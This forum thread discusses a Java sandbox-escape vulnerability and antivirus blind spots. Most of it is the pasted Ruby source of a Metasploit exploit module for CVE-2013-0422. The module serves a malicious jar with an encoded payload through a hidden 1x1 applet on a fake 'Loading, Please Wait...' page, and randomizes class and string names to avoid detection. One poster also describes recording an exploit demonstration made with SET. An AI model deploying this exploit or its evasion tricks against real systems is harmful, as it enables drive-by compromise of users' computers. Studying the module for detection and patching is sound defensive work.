Oh dear, thanks for the heads up.

I'm not disabling Java. I'll just be extra careful on which sites I visit.

cheeze wrote I'm not disabling Java. I'll just be extra careful on which sites I visit.

I advise you to get malwarebytes. Even the free one blocks any unwanted traffic. It's brilliant.

And by the way, there used to be a sticky on this some time back, unless it's another problem. But thanks anyway!

Diaboli wrote

cheeze wrote I'm not disabling Java. I'll just be extra careful on which sites I visit.

I advise you to get malwarebytes. Even the free one blocks any unwanted traffic. It's brilliant.

And by the way, there used to be a sticky on this some time back, unless it's another problem. But thanks anyway!

sad thing is with the newer java exploits Malwarebytes avast as well as MSE and many of the other popular AV/Personal security software tools do not detect The new Browser hijack and payload deployment , the sticky on java was for a 2010 exploit, this is a new java session handler vulnerability that finally made it to the public's attention after being around for a year.but dont worry there are plenty of security issues that have not been spoken of as of yet that AV and IDS sytems dont know to even look for as of yet.
Dont feel too safe behind your AV or browser security it can only detect and stop what it has been told to by its developers.



*just got done making a video of one of the new java exploits done through SET it is the more likely to get noticed by the user but i dont have the time to do the stealth exploits at the moment ill post the video when its done uploading.



This was done with Avast, MSE, and malwarebytes installed and updated as of this morning.

Java has now upset the US government, lolz.
[ Register or Signin to view external links. ]

figured the model for the metasploit framework should go in this thread as well for others to scrutinize for themselves.

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# [ Register or Signin to view external links. ]
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::EXE

include Msf::Exploit::Remote::BrowserAutopwn
autopwn_info({ :javascript => false })

def initialize( info = {} )

super( update_info( info,
'Name' => 'Java Applet JMX Remote Code Execution',
'Description' => %q{
This module abuses the JMX classes from a Java Applet to run arbitrary Java
code outside of the sandbox as exploited in the wild in January of 2013. The
vulnerability affects Java version 7u10 and earlier.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery
'egypt', # Metasploit module
'sinn3r', # Metasploit module
'juan vazquez' # Metasploit module
],
'References' =>
[
[ 'CVE', '2013-0422' ],
[ 'US-CERT-VU', '625617' ],
[ 'URL', 'http://malware.dontneedcoffee.com/2013/01/0-day-17u10-spotted-in-while-disable.html' ],
[ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/new-year-new-java-zeroday/' ],
[ 'URL', 'http://' ] #Who authored the code on ********? I can't read Russian :-(
],
'Platform' => [ 'java', 'win', 'osx', 'linux' ],
'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
'Targets' =>
[
[ 'Generic (Java Payload)',
{
'Platform' => ['java'],
'Arch' => ARCH_JAVA,
}
],
[ 'Windows x86 (Native Payload)',
{
'Platform' => 'win',
'Arch' => ARCH_X86,
}
],
[ 'Mac OS X x86 (Native Payload)',
{
'Platform' => 'osx',
'Arch' => ARCH_X86,
}
],
[ 'Linux x86 (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86,
}
],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 10 2013'
))
end


def setup
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0422", "Exploit.class")
@exploit_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }
path = File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-0422", "B.class")
@loader_class = File.open(path, "rb") {|fd| fd.read(fd.stat.size) }

@exploit_class_name = rand_text_alpha("Exploit".length)
@exploit_class.gsub!("Exploit", @exploit_class_name)
super
end

def on_request_uri(cli, request)
print_status("handling request for #{request.uri}")

case request.uri
when /\.jar$/i
jar = payload.encoded_jar
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
jar.add_file("B.class", @loader_class)
metasploit_str = rand_text_alpha("metasploit".length)
payload_str = rand_text_alpha("payload".length)
jar.entries.each { |entry|
entry.name.gsub!("metasploit", metasploit_str)
entry.name.gsub!("Payload", payload_str)
entry.data = entry.data.gsub("metasploit", metasploit_str)
entry.data = entry.data.gsub("Payload", payload_str)
}
jar.build_manifest

send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
when /\/$/
payload = regenerate_payload(cli)
if not payload
print_error("Failed to generate the payload.")
send_not_found(cli)
return
end
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
else
send_redirect(cli, get_resource() + '/', '')
end

end

def generate_html
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
html += %Q|</applet></body></html>|
return html
end

end